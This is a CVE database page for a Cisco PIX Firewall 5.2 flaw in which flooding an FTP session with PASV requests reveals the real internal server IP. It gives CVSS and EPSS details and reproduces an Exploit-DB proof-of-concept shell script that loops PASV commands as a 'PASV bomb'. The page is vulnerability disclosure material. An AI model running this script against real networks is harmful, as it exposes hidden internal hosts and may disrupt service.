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CVE Descriptions
Cisco Secure PIX Firewall 5.2(2) allows remote attackers to determine the real IP address of a target FTP server by flooding the server with PASV requests, which includes the real IP address in the response when passive mode is established.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:P/I:N/A:N | nvd@nist.gov |
EPSS
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EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 20369
Publication date : 2000-10-02 22h00 +00:00
Author : Fabio Pietrosanti
EDB Verified : Yes
source: https://www.securityfocus.com/bid/1877/info
The Cisco PIX is a popular firewall network device.
It is possible to configure the PIX so that it hides the IP address of internal ftp servers from clients connecting to it. By sending a number of requests to enter passive ftp mode (PASV) during an ftp session, the IP address will eventually be disclosed. It is not known what exactly causes this condition.
This has been verified on versions 5.2(4) and 5.2(2) of the PIX firmware and probably affects other versions.
# sent by: Fabio Pietrosanti (naif) <naif@inet.it>
# try to dos pix using PASV bomb
echo "USER ftptest99"
sleep 2
echo PASS ftptest99
sleep 2
echo SYST
while true
do
echo PASV
sleep 1
echo PASV
echo PASV
sleep 1
echo PASV
echo PASV
sleep 1
echo PASV
echo PASV
sleep 1
done
Products Mentioned
Configuraton 0
Cisco>>Pix_firewall_software >> Version 5.2
- Cisco>>Pix_firewall_software >> Version 5.2 (Open CPE detail)
